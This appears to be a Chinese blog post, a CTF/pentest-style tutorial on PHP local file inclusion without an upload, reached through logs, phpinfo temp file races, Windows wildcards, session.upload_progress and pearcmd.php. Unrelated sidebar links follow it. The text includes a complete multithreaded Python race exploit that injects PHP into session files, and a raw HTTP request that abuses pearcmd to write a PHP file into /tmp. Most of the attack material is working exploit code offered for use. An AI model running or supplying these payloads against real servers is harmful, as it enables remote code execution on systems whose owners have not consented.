当前位置:网站首页>本地裸文件包含
本地裸文件包含
2022-06-22 11:26:00 【nigo134】
1.本地日志包含
首先通过各种方法找到web日志,然后利用上面说的include的方式来包含之。
param=include$_GET[a];&a=/home/u244201241/.logs/php_error.log如果找不到web日志,利用条件竞争的方法,包含tmp文件也可以.
2.phpinfo与条件竞争
利用条件:
1.存在phpinfo等可以泄露临时文件名的页面
2.网络条件好,才能让Race Condition成功
利用脚本:
我们对任意一个PHP文件发送一个上传的数据包时,不管这个PHP服务后端是否有处理$_FILES的逻辑,PHP都会将用户上传的数据先保存到一个临时文件中,这个文件一般位于系统临时目录,文件名是php开头,后面跟6个随机字符;在整个PHP文件执行完毕后,这些上传的临时文件就会被清理掉。
以这个利用的条件就是,需要有一个地方能获取到文件名,例如phpinfo。phpinfo页面中会输出这次请求的所有信息,包括$_FILES变量的值,其中包含完整文件名:

3.Windows 通配符妙用
PHP在读取Windows文件时,会使用到FindFirstFileExW这个Win32 API来查找文件,而这个API是支持使用通配符的
- DOS_STAR:即 <,匹配0个以上的字符
- DOS_QM:即>,匹配1个字符
- DOS_DOT:即",匹配点号
这样,我们在Windows下,可以使用上述通配符来替代临时文件名中的随机字符串:C:\Windows\Temp\php<<。(由于Windows内部的一些不太明确的原因,这里一般需要用两个<来匹配多个字符
4.session.upload_progress与Session文件包含
PHP中可以通过session progress功能实现临时文件的写入。这个方法的原理是,PHP在开启了session.upload_progress.enable后,将会把用户上传文件的信息保存在Session中,而PHP的Session默认是保存在文件里的。
利用条件:
1.session.upload_progress.enable 为 ON,默认为ON
2.session.upload_progress.cleanup 为Off,默认为ON
利用脚本:
import threading
import requests
from concurrent.futures import ThreadPoolExecutor, wait
target = 'http://192.168.1.162:8080/index.php'
session = requests.session()
flag = 'helloworld'
def upload(e: threading.Event):
files = [
('file', ('load.png', b'a' * 40960, 'image/png')),
]
data = {'PHP_SESSION_UPLOAD_PROGRESS': rf'''<?php file_put_contents('/tmp/success', '<?=phpinfo()?>'); echo('{flag}'); ?>'''}
while not e.is_set():
requests.post(
target,
data=data,
files=files,
cookies={'PHPSESSID': flag},
)
def write(e: threading.Event):
while not e.is_set():
response = requests.get(
f'{target}?file=/tmp/sess_{flag}',
)
if flag.encode() in response.content:
e.set()
if __name__ == '__main__':
futures = []
event = threading.Event()
pool = ThreadPoolExecutor(15)
for i in range(10):
futures.append(pool.submit(upload, event))
for i in range(5):
futures.append(pool.submit(write, event))
wait(futures)5.pearcmd.php的巧妙利用
利用条件:
1.PHP以Server的形式运行
2.开启了register_argc_argv,默认关闭
利用方法:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Host: 192.168.1.162:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close边栏推荐
猜你喜欢

Electron adding SQLite database

TCP connection establishment process (in-depth understanding of the source code and three handshakes)

CF751E Phys Ed Online

【软工】获取需求

什么是同源???跨域错误???如何解决???

开源代码存在安全隐患:一个项目平均有49个漏洞

Pychart debugging is stuck and connected appears

Electron ajoute une base de données SQLite

《梦华录》成吸金王:广告主投500万排不上队,腾讯视频赢麻了?

2022年遵义市土地基准地价矢量数据(WGS84)
随机推荐
Solution to 94d problem of Niuke practice match
Noun analysis: ETL
R语言epiDisplay包的idr.display函数获取泊松回归poisson模型的汇总统计信息(初始事件密度比IDR值、调整事件密度比IDR值及其置信区间、Wald检验的p值和似然比检验的p值)
奋斗吧,程序员——第四十二章 会挽雕弓如满月,西北望,射天狼
云上人和物联科技加入龙蜥社区,携手打造软硬件服务生态
IO之Reader案例
NFT交易平台数字藏品系统开发技术
R language uses GLM function to build Poisson log linear regression model, processes three-dimensional contingency table data to build saturation model, and uses summary function to obtain model summa
promise升级版async,await来袭,搭配try+catch更香哦
Puzzle (019) plane forward problem
R language uses user-defined functions to write in-depth learning parametric relu activation functions and visualize parametric relu activation functions
APM flight mode switching -- source code explanation
CF751D Difficult Mountain
奋斗吧,程序员——第四十一章 今日种种,似水无痕;明夕何夕,君已陌路
APM set pitch four rotor control mode
Solution to 55e of Niuke challenge
传统零售加速向新零售演进升级,零售数字化势在必行
R language uses read Table load the data set (CSV data) of conditional logistic regression analysis, and use the unique function to view the number of groups of paired data
Call center terminology
成功案例 | 安超云助力兰州大学第二医院搭建新型IT基础设施平台 提升医疗信息资源利用率